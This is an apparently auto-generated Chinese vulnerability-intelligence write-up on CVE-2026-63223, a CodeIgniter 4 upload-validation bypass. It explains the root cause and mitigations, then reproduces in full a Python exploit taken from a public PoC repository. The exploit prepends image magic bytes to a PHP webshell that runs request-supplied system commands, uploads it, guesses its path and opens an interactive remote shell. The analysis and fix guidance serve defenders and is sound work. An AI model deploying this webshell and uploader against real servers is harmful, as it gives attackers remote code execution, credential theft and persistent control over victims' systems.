🎯 CVE-2026-63223 深度技术分析:漏洞根因 · PoC/EXP · 检测指纹
CVE-2026-63223 深度技术分析
摘要:CVE-2026-63223 是 CodeIgniter 4 文件上传校验逻辑中的严重安全缺陷,CVSS 9.8(Critical)。该缺陷影响低于 4.7.4 的版本:当开发者使用 is_image 或 mime_in 校验上传文件,却未独立校验客户端原始扩展名,且保存文件时保留原始文件名并存入可执行 PHP 的 Web 目录时,远程攻击者可以构造“图像魔数 + PHP Webshell”的恶意文件,通过上传接口绕过校验,最终在服务器上执行任意命令。
📌 漏洞概述
CVE-2026-63223 对应 GitHub Advisory GHSA-mmj4-63m4-r6h5,属于不安全的文件上传验证漏洞,本质上可归类为 CWE-434(危险类型文件上传),但在 CodeIgniter 中的具体成因是“校验与存储”之间的安全职责分离不足。
- 漏洞编号:CVE-2026-63223
- CVSS 评分:9.8(Critical),攻击向量
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H,无需身份验证、无需用户交互,网络可达即可利用。 - 影响版本:CodeIgniter 4 全系列 < 4.7.4
- 修复版本:CodeIgniter 4.7.4
- 漏洞类型:文件上传校验不足,可导致远程代码执行(RCE)
- 利用现状:虽然 CISA KEV 尚未收录该漏洞,但 GitHub 上已经出现公开 PoC 仓库,实际风险正在快速上升。
🔬 漏洞根因分析
CodeIgniter 4 的上传验证规则 is_image 与 mime_in 并不等价于“安全文件名校验”。它们回答的问题是:上传内容的 MIME 类型是否属于图片,而不是:上传文件最终以什么扩展名保存在服务器上。这两者之间存在本质割裂,也是本次漏洞的核心。
is_image 规则通常基于上传文件的实际内容或 MIME 信息判断其是否为图片,例如检查文件头是否具有 GIF/JPEG/PNG 等格式的魔数。攻击者完全可以在 PHP Webshell 前拼接合法的图片魔数字节:
- GIF 文件头:
GIF89a - JPEG 文件头:
\xFF\xD8\xFF\xE0 - PNG 文件头:
\x89PNG\r\n\x1a\n
拼接后,文件内容从 MIME 检测角度来看确实是“图片”,因此 is_image 校验通过。而 mime_in 规则也一样,只要文件的 MIME 类型命中图片类型列表,就允许通过。问题是,这些校验规则没有检查客户端提供的原始文件名是否为 .php、.phtml 等危险扩展名。
攻击链的第二步在“保存文件”环节。许多开发者在处理上传逻辑时,会使用客户端文件名来保存文件,例如:
- 从
getClientName()获取原始文件名; - 将文件名传递给
move()或store(); - 直接把上传目录设置为 Web 可访问的文档根目录或脚本可执行目录。
此时,攻击者上传的恶意文件虽然在文件内容前带有图片魔数,但真正的后缀仍然是 .php 或 .phtml。PHP 引擎解析该文件时,会把 <?php 之前的内容当作普通字符原样输出,一旦遇到 PHP 开始标签便执行其中的代码。也就是说,文件上传校验“确认了它是一张图片”,但服务器最终却以 PHP 脚本方式执行了这个文件。
值得注意的是,这并不是简单的 MIME 欺骗问题,而是 CodeIgniter 官方对文件上传校验的默认建议中,缺少了“独立安全扩展名校验”这一关键环节。从深层角度说,is_image 和 mime_in 只适合作为内容类型验证,它们不应承担“文件是否可安全落盘”的安全决策。官方在 4.7.4 中推荐的 ext_in 规则正是为了弥补这一缺口:它要求客户端扩展名必须命中明确的白名单,与 MIME 校验相互独立、相互补充。
另一个值得强调的根因是,客户端提交的文件名本身天然不可信。getClientExtension() 返回的扩展名由用户完全控制,而 guessExtension() 从内容推断的扩展名相对可信。真正安全的逻辑应当在“扩展名白名单”和“内容类型白名单”之间建立一致性约束,而非任选其一。
💥 影响与危害
当目标应用同时满足以下条件时,漏洞可直接导致远程代码执行:
- 使用
is_image或mime_in校验上传文件; - 未使用
ext_in或等效的独立扩展名白名单校验; - 保存上传文件时保留客户端原始文件名;
- 上传目录位于 Web 文档根目录,并允许执行 PHP 文件。
一旦攻击者成功上传包含图片魔数的 PHP Webshell,即可通过 HTTP 请求传参执行系统命令,危害包括但不限于:
- 获取 Web 服务器操作系统级 Shell,执行任意命令;
- 读取应用程序源码、数据库配置文件、环境变量中的敏感凭据;
- 写入或篡改业务数据,甚至通过数据库 RCE 扩大攻击面;
- 植入勒索软件、挖矿程序、后门,形成持久化控制;
- 以 Web 服务权限为跳板,攻击内网其他系统。
由于该漏洞的 CVSS 评分为 9.8,且网络攻击门槛低,未打补丁的受配置影响应用一旦被互联网访问,就极易被批量扫描和自动化武器利用。虽然目前 CISA KEV 尚未收录该漏洞,但公开 PoC 已经存在,应该按照“已被实际利用风险”的标准进行处置。
🛡️ 修复与缓解
官方已经发布修复版本,所有使用 CodeIgniter 4 的团队应立即升级到 4.7.4 或更高版本。升级之外,还必须从代码层面落实“文件名不可信”和“上传目录不可执行”的安全原则。
- 升级补丁:升级到 CodeIgniter 4.7.4+,并参考官方建议在
is_image/mime_in基础上叠加ext_in独立扩展名白名单校验。 - 禁止使用客户端文件名落盘:不要将
getClientName()或getClientExtension()直接用于文件系统保存文件名。推荐使用$file->store()或$file->move($path, $file->getRandomName())生成随机文件名。 - 上传目录移出 Web 根目录:将用户上传文件保存到
writable/uploads等非公开目录,由应用控制器通过 PHP 读取并输出文件,并正确设置Content-Type与Content-Disposition,从源头避免脚本直接被执行。 - 禁用上传目录脚本执行能力:如果上传目录必须在 Web 根目录下,需要在 Apache 中移除
.php/.phtml的处理器,或在 Nginx 中禁止上传目录匹配 PHP-FPM 转发规则。 - 手动校验扩展名:图片上传场景中,必须在保存前拒绝
getClientExtension()不在白名单内的文件。白名单应为gif、jpg、jpeg、png、webp等真实图片扩展名。 - 校验 MIME 与扩展名一致性:对于精确 MIME 校验场景,应拒绝
getClientExtension()与guessExtension()不匹配的文件,防止攻击者使用.php保存图片内容。 - 记录原始文件名映射:如果业务需要保留用户文件原名,应将其存入数据库,与服务器生成的随机文件名建立映射,而不是直接使用原始名称作为文件系统文件名。
最后需要明确:is_image 和 mime_in 只能作为上传内容类型校验,绝不能单独作为安全边界。任何文件上传功能都应该始终采用“内容校验 + 扩展名白名单 + 随机存储名 + 非执行目录”的组合策略,才能有效防御此类高危 RCE 漏洞。
🧪 PoC 复现
从 GitHub 公开仓库抓取的实际 PoC 代码(仓库)。
📋 代码元数据语言py来源imbas007/CVE-2026-63223-POC针对性✅ 已验证与漏洞相关(代码含 CVE 引用)依赖见代码注释/README用法详见代码注释中的使用说明
#!/usr/bin/env python3
"""
CVE-2026-63223 — CodeIgniter 4 File Upload RCE Exploit
======================================================
Vulnerability: `is_image` and `mime_in` validation rules in CodeIgniter 4
(<4.7.4) only check content-derived MIME type,NOT the file extension.
Attackers can prepend image magic bytes to a PHP webshell,name it
`shell.php`,
and it passes validation while retaining a dangerous extension.
Fixed in: CodeIgniter 4 v4.7.4
Advisory: GHSA-mmj4-63m4-r6h5
CVE: CVE-2026-63223
CVSS: 9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Requirements: pip install requests
Usage: python3 exploit.py --target http://host/upload --cmd id
"""
import argparse
import sys
import re
import os
from typing import Optional
from urllib.parse import urlparse
try:
import requests
except ImportError:
print("[!] Install requests: pip install requests")
sys.exit(1)
# ─── Payload Generator ──────────────────────────────────────────────────────
PAYLOADS = {
"gif": {"magic": b"GIF89a","mime": "image/gif","ext": "php",# client-supplied extension
},"jpg": {"magic": b"\xff\xd8\xff\xe0","mime": "image/jpeg","ext": "php",},"png": {"magic": b"\x89PNG\r\n\x1a\n","mime": "image/png","ext": "phtml",# also executable by PHP-FPM setups
},}PHP_WEBSHELL_TEMPLATE = """\
<?php
// CVE-2026-63223 PoC Webshell
if(isset($_REQUEST['c'])){{echo "<pre>";
system($_REQUEST['c'],$ret);echo "</pre>";echo "<hr>exit: $ret";die();}}echo "<!-- CVE-2026-63223: vulnerable upload confirmed -->";__halt_compiler();"""
def generate_payload(method: str = "gif",cmd: Optional[str] = None) ->
bytes:
"""Generate malicious upload with image magic bytes + PHP webshell."""
if method not in PAYLOADS:
raise ValueError(f"Unknown method '{method}'. Choose: {list(PAYLOADS)}")
cfg = PAYLOADS[method]
payload = cfg["magic"] + b"\n"
payload += PHP_WEBSHELL_TEMPLATE.format().encode()
return payload,
cfg
# ─── Exploit Logic ───────────────────────────────────────────────────────────
class CVE202663223:
"""Exploit for CVE-2026-63223 — CodeIgniter4 is_image/mime_in bypass."""
def __init__(self,target_url: str,
verbose: bool = False):
self.target = target_url.rstrip("/")
self.session = requests.Session()
self.verbose = verbose
self.uploaded_path: Optional[str] = None
def log(self,msg: str):
print(f"[*] {msg}")
def vlog(self,msg: str):
if self.verbose:
print(f"[~] {msg}")
def upload(self,filename: str,data: bytes,
mime: str = "image/gif",field_name: str = "avatar") ->bool:
"""Upload the malicious file via multipart form data."""
files = {field_name: (filename,data,mime),}self.log(f"Uploading '{filename}' ({len(data)}bytes,MIME: {mime})...")
try:
resp = self.session.post(self.target,files=files,
timeout=30)
except requests.ConnectionError:
print(f"[!] Cannot connect to {self.target}")
return False
except requests.Timeout:
print(f"[!] Connection timed out")
return False
self.vlog(f"Status: {resp.status_code}")
self.vlog(f"Response ({len(resp.text)}
bytes): {resp.text[:500]}")
if resp.status_code == 200:
# Check for validation errors (false positive 200)
if 'class="error"' in resp.text or 'class=\"error\"' in resp.text:
import re as _re
err = _re.search(r'class="error"[^>]*>(.*?)</div>',resp.text,
_re.DOTALL)
if err:
self.log(f"Upload rejected: {err.group(1).strip()}")
else:
self.log("Upload rejected by validation (response contains error)")
return False
self.log("Upload successful!")
# Try to extract uploaded path from response
self._find_uploaded_path(resp.text,
filename)
return True
else:
self.log(f"Upload may have failed (HTTP {resp.status_code})")
return False
def _find_uploaded_path(self,response: str,filename: str):
"""Attempt to discover where the file was saved."""
patterns = [
r'(/uploads?/\s*' + re.escape(filename) + r')\b',
r'to:\s*(/[^\s<]*' + re.escape(filename) + r')\b',r'(?:href|src)=["\']([^"\']*' + re.escape(filename) + r')["\']',]
for pat in patterns:
match = re.search(pat,response,
re.IGNORECASE)
if match:
path = match.group(1) if match.lastindex else match.group(0)
self.uploaded_path = path
self.log(f"Uploaded path discovered: {path}")
return
# Guess common paths
guesses = [
f"/uploads/{filename}",f"/public/uploads/{filename}",f"/upload/{filename}",
]
self.log("Could not determine uploaded path from response.")
self.log(f"Common paths to try: {','.join(guesses)}")
self.uploaded_path = guesses[0]
def execute(self,cmd: str,shell_path: Optional[str] = None) ->
Optional[str]:
"""Execute a command via the uploaded webshell."""
path = shell_path or self.uploaded_path
if not path:
print("[!] No uploaded shell path known. Set manually with --shell-path")
return None
# Resolve relative to target
if path.startswith("/"):
parsed = urlparse(self.target)
url = f"{parsed.scheme}://{parsed.netloc}{path}"
elif path.startswith("http"):
url = path
else:
url = self.target + "/" + path
self.log(f"Executing command via: {url}")
params = {"c": cmd}
try:
resp = self.session.get(url,params=params,timeout=30)
except requests.RequestException as e:
print(f"[!] Request failed: {e}")
return None
if resp.status_code == 404:
print(f"[!] Shell not found at {url}
(404)")
print("[!] Try specifying path with --shell-path")
return None
if resp.status_code != 200:
print(f"[!] HTTP {resp.status_code}")
return None
# Extract command output (between <pre>tags or raw body)
match = re.search(r"<pre>(.*?)</pre>",resp.text,
re.DOTALL)
if match:
output = match.group(1)
else:
# Fallback: remove HTML/comment markers
output = resp.text
output = re.sub(r"<!--.*?-->","",output,
flags=re.DOTALL)
output = output.strip()
print(f"\n{'='*60}")
print(output)
print(f"{'='*60}")
return output
def interactive(self):
"""Interactive shell mode."""
print("\n╔══════════════════════════════════════════════╗")
print("║ CVE-2026-63223 Interactive Shell ║")
print("║ Type commands or 'exit' to quit ║")
print("╚══════════════════════════════════════════════╝\n")
while True:
try:
cmd = input("$ ").strip()
except (EOFError,
KeyboardInterrupt):
print("\nExiting.")
break
if not cmd:
continue
if cmd.lower() in ("exit",
"quit"):
break
self.execute(cmd)
# ─── CLI ─────────────────────────────────────────────────────────────────────
def main():
parser = argparse.ArgumentParser(
description="CVE-2026-63223 — CodeIgniter 4 File Upload RCE Exploit",epilog="GitHub Advisory: https://github.com/codeigniter4/CodeIgniter4/security/advisories/GHSA-mmj4-63m4-r6h5",
)
parser.add_argument("--target","-t",required=True,help="Target URL of the upload endpoint (e.g. http://host/upload)")
parser.add_argument("--cmd","-c",help="Command to execute (e.g. 'id','uname -a')")
parser.add_argument("--shell","-i",action="store_true",help="Open interactive shell after upload")
parser.add_argument("--method","-m",choices=["gif","jpg","png"],default="gif",
help="MIME disguise method (default: gif)")
parser.add_argument("--filename","-f",default="shell.php",help="Filename including extension (default: shell.php)")
parser.add_argument("--field",default="avatar",help="Upload form field name (default: avatar)")
parser.add_argument("--shell-path","-p",help="Explicit path to the uploaded webshell")
parser.add_argument("--save-payload",
help="Save generated payload to file (for manual testing)")
parser.add_argument("--verbose","-v",action="store_true",help="Verbose output")
args = parser.parse_args()
# Step 1 — Generate payload
print("[+] CVE-2026-63223 Exploit — CodeIgniter4 is_image/mime_in Bypass")
print(f"[+] Target: {args.target}")
print()
payload_data,
cfg = generate_payload(args.method)
print(f"[+] Using {args.method.upper()}magic bytes |MIME: {cfg['mime']}|Ext: .{cfg['ext']}")
# Optionally save to disk
if args.save_payload:
os.makedirs(args.save_payload,exist_ok=True) if os.path.isdir(args.save_payload) else None
with open(args.save_payload,
"wb") as f:
f.write(payload_data)
print(f"[+] Payload saved to {args.save_payload}")
# Step 2 — Upload
exploit = CVE202663223(args.target,verbose=args.verbose)
if not exploit.upload(args.filename,payload_data,mime=cfg["mime"],
field_name=args.field):
print("[!] Exploit failed at upload stage.")
return 1
# Step 3 — Execute
if args.cmd:
exploit.execute(args.cmd,
shell_path=args.shell_path)
if args.shell:
exploit.interactive()
if not args.cmd and not args.shell:
print("\n[+] Upload complete. Use --cmd or --shell to interact.")
print(f"[+] Try: python3 {sys.argv[0]}-t {args.target}--cmd id")
return 0
if __name__ == "__main__":
sys.exit(main())⚔️ EXP 利用代码
截至分析时,Exploit-DB 未收录该 CVE 的公开利用代码。可利用上述 PoC 进行验证,或关注 Exploit-DB 更新。
🕵️ 检测指纹
当前规则库未收录针对该 CVE 的专用检测规则。建议:
- 根据漏洞根因编写 Nuclei 检测模板
- 在 WAF/IDS 中配置针对漏洞特征的规则
- 关注漏洞指纹库更新
🤖 本文由漏洞情报系统自动聚合生成 · 2026-08-11 03:09 · 数据源: NVD/GitHub-Advisory/OSV/CISA-KEV/Exploit-DB/PoC-in-GitHub + 检测规则库